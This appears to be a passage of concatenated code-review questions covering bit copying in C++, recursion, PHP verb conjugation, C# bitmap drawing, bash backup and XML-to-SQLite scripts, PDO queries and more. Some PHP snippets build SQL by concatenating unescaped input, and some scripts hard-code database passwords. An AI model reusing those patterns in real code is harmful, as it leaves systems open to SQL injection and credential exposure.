        entry_being_added.all_day = false;
      }
      // Additional assignments omitted for the sake of brevity.
      var entries = clone(this.state.entries);
      entries.push(entry_being_added);
      this.setState({'entries': entries});

I'm not sure I've seen this approach in the ReactJS documentation, and I wanted to ask for a sanity check at least. Is it idiomatic to clone container types, modify the clone, and call this.setState() on the modified clone? Am I deviating from idiom in another way, perhaps by having container types in this.state? Or is this spot on?


texts: Copy arbitrary number of bits at arbitrary offset from buffer to another buffer

texts:
I have just written a function copy_lowbits_off to copy any number of bits (not bytes) from a source buffer to a destination buffer. The function also supports arbitrary offset (expressed in bits) in the source and the destination buffer.

Could you have a look at it and let me know if anything can be improved in style, design or best practices? Specifically, I find my code too complicated for what it does and I am rather unhappy by the naming of functions and variables.

I compile in C++11 but I don't use much of the C++ features here.

#define BITMASKU8(x) ((1U << (x)) - 1)
/**
 * Select low_sel bits from src starting from the lower bit and
 * copy the selected bits to dst at offset msb_off, starting from the most
 * significant bit.
 * The caller must ensure that low_sel + msb_off <= 8
 *
 * @param dst: Destination byte
 * @param src: Source byte
 * @param low_sel: Number of low bits to select from src
 * @param msb_off: Offset from msb in dst
 */
void offset_bitcpy(std::uint8_t& dst, const std::uint8_t src,
        std::uint8_t low_sel, std::uint8_t msb_off) {
    const std::uint8_t sel_src = src & BITMASKU8(low_sel);
    std::uint8_t shift = 8 - (msb_off + low_sel);
    const std::uint8_t shift_src = sel_src << shift;
    dst |= shift_src;
}

/**
 * Copy an arbitrary number of *bits* from an arbitrary position (expressed
 * in bits) in the src buffer, to an abitrary position (expressed in *bits*) in
 * the dst buffer.
 * The caller must ensure that dst_offbits < 8 && src_offbits < 8. If you need
 * to have a bit offset > 8, set dst += bit offset / 8 and
 * dst_offbits = bit offset % 8 (respectively for src). low_sel may be >= 8.
 *
 * @param dst: Destination buffer
 * @param src: Source buffer
 * @param low_sel: Number of bits to copy from src to dst
 * @params src_offbits: [0,7] Offset in the first byte of the source buffer
 * @params dst_offbits: [0,7] Offset in the second byte of the destination
 *      buffer
 */
void copy_lowbits_off(std::uint8_t* dst, const std::uint8_t* src,
        unsigned low_sel, std::uint8_t dst_offbits, std::uint8_t src_offbits) {
    while(low_sel != 0) {
        // Number of bits to select from the first byte of src, and write
        // to the first byte of dst
        const std::uint8_t sel_byte  = std::min(low_sel, 8U - dst_offbits);
        const std::uint8_t off_src = *src >> src_offbits;
        offset_bitcpy(*dst, off_src, sel_byte, dst_offbits);
        // Update dst offsets
        const std::uint8_t add_dst_off = sel_byte + dst_offbits;
        dst += add_dst_off / 8;
        dst_offbits = add_dst_off % 8;
        // Update src offsets
        src_offbits += sel_byte;
        src += src_offbits / 8;
        src_offbits = src_offbits % 8;
        low_sel -= sel_byte;
    }
}


texts: Longest repeating and non-overlapping substring

texts:
Given a string find the length of longest repeating non-overlapping substring in it. In other words, find 2 identical substrings of maximum length which do not overlap.

Examples:

Input : str = "aabaabaaba"

Output : 4(aaba)

Input : str = "aaaaaaaaaaa"

Output : 5(aaaaa)

Input : str = "banana"

Output : 2(an or na)

I have written following recursive code.

#include<bits/stdc++.h>
using namespace std;

void f(string str, int i, int j, int len,int& mx_len){
    mx_len = max(mx_len,len);
    if(j>=str.length())
        return;
    if(str[i]==str[j] && (j-i) > len)
        f(str,i+1,j+1,len+1,mx_len);
    f(str,i+1,j+1,0,mx_len);
    f(str,i,j+1,0,mx_len);
}

int main(){
    string s;
    cin>>s;
    int mx_len=0;
    f(s,0,1,0,mx_len);
    cout<<mx_len<<endl;
    return 0;
}

I do understand that this can be done with dynamic programming. My focus here is on learning recursive style.

I am writing 3 statements that are causing recursive calls. Can the number of statements that cause recursive calls be reduced?

What changes,apart from making it dynamic programming (by caching or tabulation), can be done in this code to make it better?

Also do comment on coding style.


texts:
I need to change some array values in a 2-dimensional array for some cases. Sometimes the all values from an child array and sometimes only some values.
In this cases I should only change the variable $stamm which $stamm2.

This code is the statement of an if condition, where all relevant verbs for this changings  is mentioned.

$verb could be one over 25.000 french verbs. For this example you could use 'acheter'.

  $array = array(
  array('e', 'es', 'e', 'ons', 'ez', 'ent'), array('ais', 'ais', 'ait', 'ions', 'iez', 'aient'), array('ai', 'as', 'a', 'âmes', 'âtes', 'èrent'), array('erai', 'eras', 'era', 'erons', 'erez', 'eront'), array('e', 'es', 'e', 'ions', 'iez', 'ent'), array('asse', 'asses', 'ât', 'assions', 'assiez', 'assent'), array('erais', 'erais', 'erait', 'erions', 'eriez', 'eraient'), array('e', 'ons', 'ez'), array('XXX'), array('ant'));

My short old code:

$stamm = substr("$verb", 0, - 2);
$stamm2 = substr_replace($stamm, 'è', -2, 1);

$array[0][0] = $array[0][2] = $array[4][0] = $array[4][2] = $array[7][0] = $stamm2.'e';
$array[0][1] = $array[4][1] = $stamm2.'es';
$array[0][5] = $array[4][5] = $stamm2.'ent';

My new improved code:

$stamm = substr("$verb", 0, - 2);
$stamm2 = substr_replace($stamm, 'è', -2, 1);

$zeiten = array(0, 3, 4, 6, 7);
foreach($zeiten as $zeit) {
    foreach($array[$zeit] as $person => $value) {
        if ((($zeit == 0  || $zeit == 4) && !in_array($person,array(3,4))) || ($zeit == 3 || $zeit == 6) || ($zeit == 7 && $person==0))
        $array[$zeit][$person] = str_replace($stamm, $stamm2, $value);
        }
    }

Is this the the new code the best solution? Is it possible to improve the if condition?


texts: Update bitmap in picturebox with data from a socket

texts:
I'm working on a screen sharing project, and I receive a small block of images from a Socket constantly. I need to update them on a certain initial desktop bitmap I have.

After receiving every block, it copies its pixels according to a specific position (X and Y parameters), which is how the initial image gets updated. But then comes the part where I need to display it on a Picturebox. I handle the Paint event and redrawing it all again. The entire initial image is pretty big (1920X1080 in my case).

private void MainScreenThread()
{
    ReadData();//reading data from socket.
    initial = bufferToJpeg();//first intial full screen image.
    pictureBox1.Paint += pictureBox1_Paint;//activating the paint event.
    while (true)
    {
        int pos = ReadData();
        x = BlockX();//where to draw :X
        y = BlockY();//where to draw :Y
        Bitmap block = bufferToJpeg();//constantly reciving blocks.
        Draw(block, new Point(x, y));//applying the changes-drawing the block on the big initial image.

        this.Invoke(new Action(() =>
        {
            pictureBox1.Refresh();//updaing the picturebox for seeing results.
            // this.Text = ((pos / 1000).ToString() + "KB");
        }));
    }
}

private void pictureBox1_Paint(object sender, PaintEventArgs e)
{
    lock (initial)
    {
        e.Graphics.DrawImage(initial, pictureBox1.ClientRectangle); //draws at picturebox's bounds
    }
}

Because I'm aiming at high speed performance (it's kind of a real-time project), I would like to know if there's any method to draw the block itself on the picturebox instead of drawing the whole initial bitmap again. Plus, scaling it to the Picuturebox bounds  seems too inefficient to me.

The picturebox itself is not resizeable - it has a fixed width and height. But I need to scale the initial Bitmap every time (after processing the blocks) so it will fit the picturbox bounds to allow the client to see the full image. Despite their screen resolution, it's lower than the shared screen resolution (the server screen which is getting captured and shared).

This is my drawing method (works extremely fast, copying block with memcpy):

private unsafe void Draw(Bitmap bmp2, Point point)
{
    lock (initial)
    {
        BitmapData bmData = initial.LockBits(new Rectangle(0, 0, initial.Width, initial.Height), System.Drawing.Imaging.ImageLockMode.WriteOnly, initial.PixelFormat);
        BitmapData bmData2 = bmp2.LockBits(new Rectangle(0, 0, bmp2.Width, bmp2.Height), System.Drawing.Imaging.ImageLockMode.ReadOnly, bmp2.PixelFormat);
        IntPtr scan0 = bmData.Scan0;
        IntPtr scan02 = bmData2.Scan0;
        int stride = bmData.Stride;
        int stride2 = bmData2.Stride;
        int Width = bmp2.Width;
        int Height = bmp2.Height;
        int X = point.X;
        int Y = point.Y;

        scan0 = IntPtr.Add(scan0, stride * Y + X * 3);//setting the pointer to the requested line
        for (int y = 0; y < Height; y++)
        {
            memcpy(scan0, scan02 ,(UIntPtr)(Width * 3));//copy one line

            scan02 = IntPtr.Add(scan02, stride2);//advance pointers
            scan0 = IntPtr.Add(scan0, stride);//advance pointers//
        }

        initial.UnlockBits(bmData);
        bmp2.UnlockBits(bmData2);
    }


texts:
I wrote a 2-opt algorithm to be used in a program and noticed (using profile) that the 2-opt is eating up a lot of time. I have tried a few things to make it run faster, but I am out of ideas. Any tips on making it run faster, or a better way to write a 2-opt algo?

def twoOpt(self):
    '''Peforms 2-opt search to improve route'''
    for index, route in enumerate(self.routes):
        for element in xrange(len(route.fields)):
            i = element + 1
            k = i + 1
            while k <= len(route.fields):
                newRoute = Route(route.scout)
                for field in self.twoOptSwap(route.fields, i, k):
                    newRoute.addField(field)
                newRoute.calcRouteCost()
                if newRoute.cost < route.cost:
                    self.routes[index] = newRoute
                k += 1

def twoOptSwap(self, fields, i, k):
    start = fields[0:i]
    middle = fields[i:k]
    middle = middle[::-1]
    end = fields[k:]
    newFields = start + middle + end
    return newFields

Each route object contains a list of fields (route.fields) and route.calcRouteCost() sets route.cost with a value.


texts:
I'm quite a novice in shell scripting so far, but i'm learning and getting quite comfortable in writing shell scripts, but i have a lot to learn.

The snippet at the bottom of the page creates backups of a certain users databases.

The script checks first if there is more than 7 compressed .gz files in a folder.

Fetches oldest gz archive and removes it.

Checks for latest .sql backup and compresses it with gzip

Creates a new .sql dump

The script is run once a day

How would you write this differently?

#!/bin/bash

BACKUPPATH=/var/mysql_backup/
mkdir -p $BACKUPPATH
if [ $(ls -l $BACKUPPATH*.gz 2>/dev/null | wc -l) -gt 7 ]; then
        OLD=$(find $BACKUPPATH -type f -name '*.gz' -printf '%T+ %p\n' | sort | head -n 1 | awk '{print $2}')
        rm $OLD # Removing oldest compressed archive
fi

if [ $(ls -l $BACKUPPATH*.sql 2>/dev/null | wc -l) -eq 1 ]; then
        LATESTLOG=$(find $BACKUPPATH -type f -name '*.sql' -printf '%p\n' | head -n 1)
        gzip $LATESTLOG
fi

/usr/bin/mysqldump -u db_user -p'password' --single-transaction  --all-databases > $BACKUPPATH$(date "+%Y.%m.%d-%H.%M.%S")_dump.sql


texts:
I'm having some issues understanding why PDO is 6X slower executing a query than the depreciated MySQL query function. Here's my code:

$conn = new PDO('mysql:host=localhost;dbname=work', 'root', 'Montreal');

protected function query_s($table, $col = '*', $where_col , $where, $return_col)
{

              $q = $conn->query("SELECT $col FROM $table WHERE $where_col='".$where."' LIMIT 1");
              $f = $q->fetch();
              $result = $f[$return_col];
              return $result;

}

Which retrieves 1 piece of information for a specific column.

The old code:

protected function query_s($table, $col = '*', $where_col , $where, $return_col)
{

    $SQL = mysql_query("SELECT $col FROM ".$table." WHERE $where_col='$where' LIMIT 1") or die(mysql_error());
            $data = mysql_fetch_array($SQL);
            $this->query_rows = mysql_num_rows($SQL);

            return $data[$return_col];
}

As soon as I run the PDO version in a while loop through a database search (user tries to find something), it takes almost 6 seconds to retrieve 50 rows... Normally, it would take around 0.02 seconds with the MySQL function

I'm fairly new with PDO and I'm trying to write new code with it. I'm missing something here.


texts: Can only one loop be used to calculate percentage?

texts:
I've a requirement to find sum of an attribute of each JSON row and then add another attribute to show percentage of corresponding attribute.
The JSON is as follows -

[
    {"value":150, ...},
    {"value":125, ...},
    {"value":100, ...},
    {"value":60, ...},
    {"value":30, ...}
]

Now, I've written following code.

var totalVal = 0;
$.each(data, function(index, value) {
    totalVal += value.value;
});
$.each(data, function(index, value) {
    value.label = Math.round((value.value / totalVal) * 10000) / 100 + "%";
});

I've to use 2 loops to achieve the result. Is there any way to do this in single loop?

EDIT: The code I've written works perfectly. Since I'm contributing back to publicly available GitHub project, I really want to know if the method is most efficient.


texts: Optimised library database code for sorted array of structures

texts:
I have an array of structure records and function intersection and difference.

The intersection function take list1,list2,list3(an array of records),and size of both list1 and list2.

Here, intersection and difference both are the boolean operators ( like : A U B , A - B , A intersection B). Also list1 and list2 are given as input and the result is copied to list3.

My both functions are working fine. But given that the two lists are already sorted (on author name and if same author name then name of the book), how can I optimize the code?  intersection is of O(n2) and difference is less than O(n2).

copy() copies a record to first argument from second argument.

//Intersection of two lists
void intersection(struct books *list1,struct books *list2,struct books *list3,int n1,int n2)
{
    int i,j,size1,size2;
    if(n1<n2){size1=n1;size2=n2;}else{size1=n2;size2=n1;}
    for(i=0;i<size1;i++)
    {
        for(j=0;j<size2;j++)
        {
            if(strcmp(list1[i].name,list2[j].name)==0 && strcmp(list1[i].author,list2[j].author)==0)
            {
                if(list1[i].copies < list2[j].copies)
                {
                    copy(&list3[i],&list1[i]);
                }
                else
                {
                    copy(&list3[i],&list2[j]);
                }
            }
        }
    }
}

//set difference on lists (optimised)
void difference(struct books *list1,struct books *list2,struct books *list3,int n1,int n2)
{
    int i,j,k=0,exists=0;
    for(i=0;i<n1;i++)
    {
        exists=0;
        for(j=0;j<n2 && exists==0;j++)
        {
            if(strcmp(list1[i].author,list2[j].author)==0 && strcmp(list1[i].author,list2[j].author)==0)
            {
                exists=1;
            }
        }
        if(exists==0)
        {
            copy(&list3[k],&list1[i]);
            k++;
        }
    }
}


texts: Guttag's Finger Exercises: Enter 10 integers, find largest odd integer and print result

texts:
I'm making my way through the Intro to Computation and Programming test by John Guttag and he gives these small exercises to practice gearing up into computational thinking. As of Ch.2, we've covered basic input and print commands as well as some simple iteration stuff.

The question is as follows:

  Write a piece of code that asks the user to input 10 integers, and
  then prints the largest odd number that was entered. If no odd number
  was entered, it should print a message to that effect.

counter = 0
ans = 0
even=0
while counter < 10:
    x=int(raw_input('Please enter an integer: '))
    if x%2!=0:          #Checks if the input is odd
        if ans < x:     #If it is, is the input larger than the held value for 'ans'?
            ans = x     #If yes, replace the value for 'ans' with the input
            counter +=1 #Move the counter up by one, ending at 10
    else:               #If it wasn't odd, add 1 to the even counter and to the integer counter, keeping ans the same
        even+=1
        counter+=1
if even == 10:          #if all numbers entered were even, this counter would be 10, and thus would give this response
    print 'All numbers were even'
else:                   #if at least 1 odd number was entered, the even counter would not be 10 and it would print the answer
    print 'the largest odd number entered was ', ans

Is there a more efficient way of writing this out? I wonder if I can word my if statements to include more parameters to cut down on the number of if/else statements? Also keep in mind this text uses python 2.7 and that I'm not super far into the book. I'm mainly trying to get the whole computational thinking thing down.


texts: Optimize bash script that concatenates output

texts:
I am trying to optimize my script that loops through a folder and extracts only the part of a file name before a date and the header of the file and outputs it into a different file using a delimiter. I feel the script is robust and I want to refactor it. If there is also a better way, please tell me.

#!/bin/bash
# script variables
FOLDER=path/to/folder
LOG_FILE=path/to/logfile.csv

# Getting the pattern and  header of files from FOLDER
for file in `ls $FOLDER/*.csv`
do
    echo -n $(basename "$file") 2>&1 | sed -r 's/(.*)_[0-9]{8}_[0-9][0-9]-[0-9][0-9].[0-9][0-9].csv/\1/'  | tee -a $LOG_FILE
    echo -n "|" | tee -a $LOG_FILE
    cat $file | head -1 | tee -a $LOG_FILE

done #> $LOG_FILE


texts:
I'm working on a list practice project from the book "Automate the Boring Stuff with Python" which asks for this:

Write a function that takes a list value as an argument and returns a
string with all the items separated by a comma and a space, with and
inserted before the last item. For example, passing the previous spam
list to the function would return 'apples, bananas, tofu, and cats'.
But your function should be able to work with any list value passed to
it. Be sure to test the case where an empty list [] is passed to your
function.

So far I've come up with this:
def comma_code(iterable):
    '''
    Function that loops through every value in a list and prints it with a comma after it,
    except for the last item, for which it adds an "and " at the beginning of it.
    Each item is str() formatted in output to avoid concatenation issues.

    '''
    for i, item in enumerate(iterable):
        if i == len(iterable)-1 and len(iterable) != 1: # Detect if the item is the last on the list and the list doesn't contain only 1 item (BONUS)
            print('and ' + str(iterable[-1]))           # Add 'and ' to the beginning
        elif len(iterable) == 1:                        # BONUS: If list contains only 1 item,
            print('Just ' + str(iterable[-1]))          # replace 'and ' with 'Just '
        else:                                           # For all items other than the last one
            print(str(iterable[i]) + ',', end=" ")      # Add comma to the end and omit line break in print

There's heavy commenting because I'm fairly new and I'm trying to leave everything as clear as possible for my future self.
Now I wonder if there's a better way of doing this and also (subjective question) if there is something in my code that I should change for better readability and/or style. As I said, I'm fairly new and I would like to pick good coding practices from the beginning.
These are a couple of lists I ran through the function:
spam = ['apples', 'bananas', 'tofu', 'cats']
bacon = [3.14, 'cat', 11, 'cat', True]
enty = [1]

And this is the working output:
apples, bananas, tofu, and cats
3.14, cat, 11, cat, and True
Just 1

Thanks in advance.


texts:
I have written some code that prints out all unique pre-ordered binary search trees containing numbers 1 to n.

It is not an especially efficient solution and has a time complexity (I believe) of O(n!) but hopefully it is fairly easy to understand.

As I am using sets the output is not sorted.

"""Module constructs and prints unique BST."""
import itertools
class Node():
    """Builds a BST"""
    def __init__(self, value, left=None, right=None):
        self.value = value
        self.left = left
        self.right = right
    def add_node(self, value):
        """Adds new elemenet to binary search tree."""
        if self.value:
            if value > self.value:
                if not self.right:
                    self.right = Node(value)
                else:
                    self.right.add_node(value)
            else:
                if not self.left:
                    self.left = Node(value)
                else:
                    self.left.add_node(value)
    def print_tree(self):
        """Return the BST as a string"""
        string_tree = ""
        if self.value:
            string_tree += (str(self.value) + " ")
            if self.left:
                string_tree += self.left.print_tree()
            if self.right:
                string_tree += self.right.print_tree()
        return string_tree

def build_BST(permutation):
    """Builds a BST from a list of numbers"""
    if permutation:
        tree = Node(permutation[0])
        for i in range(1, len(permutation)):
            tree.add_node(permutation[i])
        string_tree = tree.print_tree()
        return string_tree
    return False

def build_trees(size_tree):
    """Build BST containing numbers in range 1 to n"""
    if not isinstance(size_tree, int):
        print("Please enter an integer")
        return
    if size_tree <= 0:
        print("Function only prints trees with numbers >= 1")
        return
    permutations = list(itertools.permutations([i for i in range(1, size_tree + 1)],
                                               size_tree))
    set_solutions = set()
    for permutation in permutations:
        string_tree = build_BST(permutation)
        set_solutions.add(string_tree)
    for solution in set_solutions:
        print(solution)
    print(f"==========\n{len(set_solutions)} solutions.")

if __name__ == "__main__":
    build_trees(4)


texts: Calculating the maximum drawdown of a set of returns

texts:
I wrote a simple function that calculates and returns the maximum drawdown of a set of returns. I am trying to squeeze as much efficiency for speed out of the code as possible. I've got it down to about as fast as I can go. Does anyone have suggestions on how to write this function more efficiently, perhaps through list comprehensions etc.?

import numpy as np

def max_drawdown(returns):

    draw_series = np.array(np.ones(np.size(returns)))
    max_return = 0; max_draw = 1; draw = 1
    returns = returns + 1

    for r in range(returns.count()-1, 0, -1):

        if returns[r] > max_return:
            max_return = returns[r]

        else:
            draw = returns[r] / max_return
            if draw < max_draw:
                max_draw = draw

        draw_series[r-1] = -(1 - max_draw)

    return draw_series


texts:
I have a code to check if one shape (circle or square) envelops another. I have used this code. It gives true if the this object envelops the passed shape. Can anyone suggest me an improvement or better alternate method?

public boolean envelops(Shape s) {
boolean flag = true;
double distance = 0.0;
if(s instanceof Square){ //check if the shape is a Square
 Point bottomLeft= new Point(((Square)s).getTopLeft().getX(),((Square)s).getTopLeft().getY()-((Square)s).getSideLength()); //calculating the cordinates of the square
 Point bottomRight= new Point(((Square)s).getTopLeft().getX()+((Square)s).getSideLength(),((Square)s).getTopLeft().getY()-((Square)s).getSideLength());
 Point topRight= new Point(((Square)s).getTopLeft().getX()+  ((Square)s).getSideLength(),((Square)s).getTopLeft().getY());

 ArrayList<Point> points = new ArrayList<Point>(); //storing points in a ArrayList of points
 points.add(((Square)s).getTopLeft());
 points.add(bottomLeft);
 points.add(topRight);
 points.add(bottomRight);
    for(int i=0; i<points.size(); i++)
       {
          distance= this.center.distance(points.get(i));  //finding ditance of each cordinate from the center of the circle
          if(distance-this.radius>Shape.TOLERANCE) flag= false;      //if the distance is greater than the radius then flag becomes false, ie., the cordinate is outside the circle

       }
 }

if(s instanceof Circle){
 distance=this.center.distance(((Circle)s).getCenter());  //finding distance between the centers of the 2 circles
 distance= distance +((Circle)s).getRadius();
 if(distance- this.getRadius()> Shape.TOLERANCE || distance==this.getRadius()){ //The method will return false if both circles have 0 radius
    flag=false;                                           //make flag false if the distance is more than the radius of the object Circle
 }
}

return flag;
}


texts:
I've been trying to make an std::vector of boolean values and I got fed up with the specialization. To get around this, I made a wrapper class around bool and a testsuite to make sure that it compiles and works as expected.

It seems to do everything std::vector<bool> does, except, of course, flip(). It also satisfies the container rules so that you can take a reference or a pointer to an element.

On to the code:

vector_safe_bool.hpp:

#pragma once

// A wrapper class around bool that can be used in std::vector without breaking container rules

class vector_safe_bool {
    bool value;
public:
    vector_safe_bool() = default;
    vector_safe_bool(bool b) : value{b} {}

    bool *operator&() noexcept { return &value; }
    const bool *operator&() const noexcept { return &value; }

    operator const bool &() const noexcept { return value; }
    operator bool &() noexcept { return value; }
};

vsb_test.cpp:

#include "vector_safe_bool.hpp"

#include <iostream>
#include <vector>

#if USE_VECTOR_SAFE_BOOL
using which_bool = vector_safe_bool;
#define TEST_CONTAINER true
#else
using which_bool = bool;
#define TEST_CONTAINER false
#endif

int main()
{
// The commented lines work for neither bool nor vector_safe_bool
    const which_bool t1 = true;
//  bool *t1p = &t1;
    const bool *t1cp = &t1;
//  bool &t1r = t1;
    const bool &t1cr = t1;
//  bool &&t1rr = t1;

    which_bool t2 = true;
    bool *t2p = &t2;
    const bool *t2cp = &t2;
    bool &t2r = t2;
    const bool &t2cr = t2;
//  bool &&t2rr = t2;
    t2++;
    ++t2;

    std::vector<which_bool> bv(10, true);
#if TEST_CONTAINER
    for(auto &b : bv)
        ;
#endif
    for(const auto &b : bv)
        ;
    for(auto &&b : bv)
        ;
    const std::vector<which_bool> cbv(10, true);
#if TEST_CONTAINER
    for(auto &cb : cbv)
        ;
#endif
    for(const auto &cb : cbv)
        ;
    for(auto &&cb : cbv)
        ;
}

GNUmakefile:

CXX = g++
CXXFLAGS = -Wall -Wextra -Wno-unused-variable -Wno-deprecated -pedantic -std=c++11

all:

check test: vsb_test.cpp vector_safe_bool.hpp
    $(CXX) $(CXXFLAGS) -I. vsb_test.cpp -DUSE_VECTOR_SAFE_BOOL
    @rm -f a.out
    $(CXX) $(CXXFLAGS) -I. vsb_test.cpp
    @rm -f a.out

What I'm looking for:

Can I make this more idiomatic? How?
Can I make use of features from newer versions of C++?
Did I forget any obscure corner-cases?
Is there anything that I can make better in the GNUmakefile?
Are there any other ways that I could improve this?


texts: Health Test App, It Returns a Score Based on the Answers Given

texts:
Here is my parent component: App.vue. I was wondering what improvements I could make to the code here.

Application Description

  This application was built off the Vue.js framework and utilizes a
  Laravel REST API I created to fetch custom data. It stores and tracks
  your ‘health score’, which is determined by the answers you submit in
  the test. Each answer has a value. So, the unhealthiest answer has a
  value of 0, the second-least healthiest 1, second-most healthiest 2,
  and the healthiest answer 3. The values of the answers you submit are
  aggregated throughout the test via local storage. After the final
  question has been answered, your total health score is returned. Your
  final score will determine the message you receive.

<template>

      <router-view
        v-if="testData.length"
        :currentTestData = testData[testDataIndex]
        :testDataIndex = testDataIndex
        :nextAndResetIndices="nextAndResetIndices"
        :selectAnswer="selectAnswer"
        :selectedIndex="selectedIndex"
        :submitAnswer="submitAnswer"
        :submittedIndex="submittedIndex"
        :healthScore="healthScore"
        :setStorage="setStorage"
        :getStorage="getStorage"
        :resetStorage="resetStorage"
        :message="message"
        :returnMessage="returnMessage"

      />

</template>


texts:
I wrote this code to learn how to work with State monad. Then I added Either result to gracefully handle error condition (stack underflow).

I believe most of this code is actually unnecessary. I know there are stateful and monadic lens out there, there is EitherT transformer and also StateStack monad. How can I go about incorporating those libraries into this example?

For example, I imagine that it is possible to replace safely with %= or mapMOf from lens library once appropriate EitherT monad stack is constructed but I'm not sure how to get there.

{-# LANGUAGE LambdaCase #-}

module Main where

import           Control.Lens
import           Control.Monad.State

push :: a -> State [a] ()
push a = get >>= put . (a:)

pop :: State [a] (Either String a)
pop = get >>= \case (x:xs) -> liftM (const $ Right x) $ put xs
                    _      -> return $ Left "Stack underflow"

safely :: (a -> a) -> (Either String a) -> State [a] ()
safely f = either (const $ return ()) (push . f)

-- Stack operations that cannot crash program.
--
-- To avoid passing stack back and forth in pure language, use State monad.
-- To avoid `if` statements for overflow checking, use Either monad.
-- To avoid code duplication use parameterized and high-order types.
main :: IO ()
main = do
    print $ runState (push "Hello" >> pop >> pop >>= safely (++" World!") >> pop) []
    print $ runState (push 2 >> pop >>= safely (**7) >> pop) []


texts: Optimize and accelerate bash script to transform XML to SQLITE

texts:
I have this script in which I read an XML and I pass it to CSV and at the end of the script I transform it into SQLITE

#!/bin/bash
rm -f -r rshost rscname rsctype ttstamp tservice tformat trdata trdata2
cat $1 | grep Telegram | sed -e 's/"/ /g' | awk '{ print $9 }' | cut -c27-30 > trdata
cat $1 | grep Telegram | sed -e 's/"/ /g' | awk '{ print $3 }'| cut -c1-19 > ttstamp
a=`cat $1 | grep RecordStart | head -1 | sed -e 's/"/ /g'| awk '{ print $15 }'`
b=`cat $1 | grep RecordStart | head -1 | sed -e 's/"/ /g' | awk '{print $12 }' | sed -e 's/;/ /g' | sed  -e 's/=/ /g' | awk '{print $4 }'`
c=`cat $1 | grep RecordStart | head -1 | sed -e 's/"/ /g' | awk '{print $9,$10 }'`
touch rsctype rshost rscname
kk=`wc -l trdata | awk '{ print $1 }'`
for i in `seq 1 $kk`
do
    echo $a >> rsctype
    echo $b >> rshost
    echo $c >> rscname
done
cat $1 | grep Telegram | sed -e 's/"/ /g' | awk '{ print $5 }' > tservice
cat $1 | grep Telegram | sed -e 's/"/ /g' | awk '{ print $7 }' > tformat
cat $1 | grep Telegram | sed -e 's/"/ /g' | awk '{ print $9 }' | cut -c41-44 > trdata2
cat $1 | grep Telegram | sed -e 's/"/ /g' | awk '{ print $9 }' | cut -c31-34 > grhost

awk -Wposix '{printf("%d\n","0x" $1)}' trdata > trdata3
awk -Wposix '{printf("%d\n","0x" $1)}' trdata2 > trdata4

sed -i "s%^0%0/%g" grhost
cat grhost | cut -c1-3 > grhost2
sed -i "s%.\{4\}%/%g" grhost
pr -mts, grhost2 grhost > grhostfinal
sed -i "s/,//g" grhostfinal
cat grhostfinal | cut -c1-4 > grhostfinal1
cat grhostfinal | cut -c5 > grhostfinal2
awk -Wposix '{printf("%d\n","0x" $1)}' grhostfinal2 > grhostfinal3
pr -mts, grhostfinal1 grhostfinal3 > grhostfinal4
sed -i "s/,//g" grhostfinal4

pr -mts, rshost ttstamp rsctype tservice tformat trdata4 trdata3 rscname grhostfinal4 > conjunto.csv
sed -i "s|^|,|g" conjunto.csv

sqlite3 test2.sqlite "select fecha from testxml4;" > data.csv

cat data.csv | sort | uniq > data2.csv

for k in `cat data2.csv`
do
    grep "$k" conjunto.csv >> quitar
done

diff quitar conjunto.csv | grep ">" | sed 's/^> //g' > diferencia.csv

echo `sqlite3 test2.sqlite < testxml`
python csv2sqlite.py diferencia.csv test2.sqlite testxml4

rm -f -r rshost rscname rsctype ttstamp tservice tformat trdata trdata2 trdata3 trdata4 grhost2 grhost grhostfinal3 grhostfinal1 grhostfinal2 grhostfinal grhostfinal4 a b c data.csv conjunto.csv data2.csv quitar

I have this XML (The data is a private)

 <CommunicationLog xmlns="http://knx.org/xml/telegrams/01">
  <RecordStart Timestamp="" Mode="" Host="" ConnectionName="" ConnectionOptions="" ConnectorType="" MediumType="" />
  <Telegram Timestamp="" Service="" FrameFormat="" RawData="" />
  <Telegram Timestamp="" Service="" FrameFormat="" RawData="" />
  <RecordStop Timestamp="" />
  <RecordStart Timestamp="" Mode="" Host="" ConnectionName="" ConnectionOptions="" ConnectorType="" MediumType="" />
  <Telegram Timestamp="" Service="" FrameFormat="" RawData="" />
  <Telegram Timestamp="" Service="" FrameFormat="" RawData="" />
  <RecordStop Timestamp="" />
</CommunicationLog>

Once analyzed the data, I take them to a CSV and with the Python program csv2sqlite.py

python csv2sqlite.py CSVFILE.csv DB.sqlite TABLESQLITE

My question is how can I make this script faster and more efficient, since it takes a long time to analyze all the data.


texts: Running async processes in node.js on multiple cores

texts:
Using the async and child_process modules, I can create true "parallel" processing. My question is, how can I ensure that it is running on multiple cores?

var cp = require('child_process');
var async = require('async');

async.parallel([

    function(callback){
        console.log('1');
        var k = cp.fork('./doOther.js',['01']); //how can I ensure the child process k runs on a different core than this process?
        k.on('message',function(msg){
            console.log(msg);
            callback();
        });
    },
    function(callback){
        console.log('2');
        var k = cp.fork('./doOther.js',['02']); //how can I ensure the child process k runs on a different core than this process?
        k.on('message',function(msg){
            console.log(msg);
            callback();
        });
    },
    function(callback){
        console.log('3');
        var k = cp.fork('./doOther.js',['03']); //how can I ensure the child process k runs on a different core than this process?
        k.on('message',function(msg){
            console.log(msg);
            callback();
        });

    },
    function(callback){
        console.log('4');
        var k = cp.fork('./doOther.js',['04']); //how can I ensure the child process k runs on a different core than this process?
        k.on('message',function(msg){
            console.log(msg);
            callback();
        });

    }

],function(){

    console.log('done.');
    process.exit(0);

});

The above script interacts with IPC (inter-process comm) with this script:

//doOther.js, a simple script that interacts with the script above

    process.on('message', function(m) {
        console.log('CHILD got message:', m);
    });

    setTimeout(function(){
        process.send({ foo: process.argv[2] });
    },1000);


texts:
I have the following header included in some of my projects so that I can add a little color to the terminal output.  Here is how it would be used:

fprintf(stdout, "Recognized text: %s\n", text ?: RED_TEXT("No text recognized."));

color.h:

/**
 * @file color.h
 * @brief Defines all of the ANSI terminal escape codes that modify the color of text.
 */

#ifndef COLOR_H
#define COLOR_H

#define BLACK_TEXT(x) "\033[30;1m" x "\033[0m"
#define RED_TEXT(x) "\033[31;1m" x "\033[0m"
#define GREEN_TEXT(x) "\033[32;1m" x "\033[0m"
#define YELLOW_TEXT(x) "\033[33;1m" x "\033[0m"
#define BLUE_TEXT(x) "\033[34;1m" x "\033[0m"
#define MAGENTA_TEXT(x) "\033[35;1m" x "\033[0m"
#define CYAN_TEXT(x) "\033[36;1m" x "\033[0m"
#define WHITE_TEXT(x) "\033[37;1m" x "\033[0m"

#define BOLD_BLACK_TEXT(x) "\033[1m\033[30m;1m" x "\033[0m"
#define BOLD_RED_TEXT(x) "\033[1m\033[31m;1m" x "\033[0m"
#define BOLD_GREEN_TEXT(x) "\033[1m\033[32m;1m" x "\033[0m"
